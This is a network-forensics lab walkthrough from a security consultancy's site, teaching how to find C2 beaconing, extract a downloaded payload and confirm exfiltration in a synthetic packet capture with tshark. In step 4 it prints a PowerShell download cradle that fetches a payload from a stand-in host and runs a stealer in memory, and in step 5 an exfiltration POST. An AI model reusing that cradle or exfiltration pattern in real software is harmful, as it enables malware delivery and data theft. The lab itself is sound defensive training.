Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo

Network forensics · C2 beaconing · PCAP · MITRE T1071.001

The heartbeat: finding C2 beaconing in a capture

After the fileless foothold, the implant on NORTHSEA-DEV called home. You have the packet capture. Malware that beacons has a tell no browser has: a metronome. Find the C2, prove the beat, pull back the payload it downloaded, and catch the data leaving.

~45 minEstimated time
Wireshark · tshark · tcpdumpTools
T1071.001 · T1571 · T1041MITRE ATT&CK
★★★☆ IntermediateNetworkPCAP

The sample

Filechallenge-08-c2-beacon.pcap
SHA-256783cf3544c4096a2c925293a1e9f1099962855cd5e18db7025c420cb9b329504
Size28 packets, Ethernet/IPv4
ContextEgress capture from NORTHSEA-DEV (10.10.10.5)

Synthetic capture. The C2 is in TEST-NET-3 (203.0.113.66) and resolves a .invalid domain, nothing is contacted. Open in Wireshark or tshark.

1. Scenario

A host was flagged for odd outbound traffic. You get the egress capture from NORTHSEA-DEV. Somewhere in it is an implant checking in with its C2 on a fixed schedule, the payload it pulled down, and the data it pushed back out.

Work the capture: identify the C2, prove the beacon, extract the payload, and confirm exfiltration.

📡 Beaconing is an implant contacting its C2 at regular intervals for tasking. The regularity is the signal: humans browse irregularly, malware keeps time.

2. Objectives

3. Step-by-step analysis

1

Overview and conversations

tshark · tcpdump

Start wide: what protocols, and who talks to whom. One external IP carrying almost all the traffic is already suspicious.

bash
tshark -r challenge-08-c2-beacon.pcap -q -z conv,tcp
# or with tcpdump:
tcpdump -nqr challenge-08-c2-beacon.pcap | awk '{print $3" > "$5}' | sort | uniq -c
output
TCP Conversations
10.10.10.5:49512 <-> 203.0.113.66:80   frames 26   bytes ~2.9k
(+ one DNS query/response to 10.10.10.1)

💡 A single long-lived TCP session to one external IP on port 80, carrying repeated small requests, is the shape of a beacon, not of a person browsing the web.

2

Identify the C2

DNS + HTTP host

Resolve the destination to a name and confirm it with the HTTP Host header.

bash
tshark -r challenge-08-c2-beacon.pcap -Y dns -T fields -e dns.qry.name -e dns.a
tshark -r challenge-08-c2-beacon.pcap -Y http.request -T fields -e http.host -e http.request.full_uri
output
stage2-cdn.example.invalid    203.0.113.66
stage2-cdn.example.invalid    http://stage2-cdn.example.invalid/a.ps1
stage2-cdn.example.invalid    http://stage2-cdn.example.invalid/gate.php?id=8f2c1a9d&s=1
...

🔴 The C2 is stage2-cdn.example.invalid at 203.0.113.66, the same stage-2 host as the fileless lab #07. All check-ins hit /gate.php.

3

Prove the beacon

request timestamps

List the check-in requests with their relative time, then look at the gaps.

bash
tshark -r challenge-08-c2-beacon.pcap \
  -Y 'http.request.uri contains "gate.php"' \
  -T fields -e frame.time_relative -e http.request.uri
output
30.000000   /gate.php?id=8f2c1a9d&s=1
60.000000   /gate.php?id=8f2c1a9d&s=2
90.000000   /gate.php?id=8f2c1a9d&s=3

⏰ A check-in every 30 seconds, on the dot. A fixed interval (here with no jitter) is the classic beacon signature. Real implants often add jitter, so look for near-regular intervals, not just exact ones.

4

Export the downloaded payload

http object export

The first request pulled a file. Export HTTP objects and read what the C2 served.

bash
tshark -r challenge-08-c2-beacon.pcap --export-objects http,./objects
cat ./objects/a.ps1
output
$u='http://stage2-cdn.example.invalid/payload.dat';(New-Object Net.WebClient).DownloadFile($u,...);
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes(...));[NSD.Stealer]::Run()

📥 The served /a.ps1 is the exact second-stage cradle from the fileless lab #07: it loads an assembly in memory and runs [NSD.Stealer]::Run(). The network capture and the host logs corroborate each other.

5

Catch the exfiltration

http.request POST

Beacons are small. A single much larger upload stands out, that is usually the data leaving.

bash
tshark -r challenge-08-c2-beacon.pcap -Y 'http.request.method=="POST"' \
  -T fields -e http.request.full_uri -e http.content_length
output
http://stage2-cdn.example.invalid/upload    1010
body: host=NORTHSEA-DEV&user=alex&data=QUxFWDpO...(base64)

✅ A POST /upload ~1 KB, dwarfing the 2-byte beacon replies, carrying host=NORTHSEA-DEV&user=alex&data=.... This is exfiltration over the C2 channel (T1041), the stolen data leaving.

5. Detection

4. IOC and ATT&CK summary

TypeValueATT&CK
C2 hoststage2-cdn.example.invalid / 203.0.113.66:80T1071.001
BeaconGET /gate.php every 30s (fixed)T1071.001
Payload/a.ps1 in-memory loader (see #07)T1105
ExfiltrationPOST /upload, host+user+data (base64)T1041
User-AgentPowerShell/5.1 UA on port 80T1071.001

6. References

MITRE T1071.001, Web Protocols

Command and control over HTTP/S, including beaconing.

MITRE T1041, Exfiltration Over C2 Channel

Sending stolen data back over the same C2 connection.

Wireshark User Guide

Filtering, following streams and exporting objects from a capture.

Detecting beaconing, Active Countermeasures (RITA)

Statistical beacon detection on network telemetry.

Entirely fictional environment, for educational use only. The C2 is a TEST-NET address and a non-resolvable .invalid domain.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium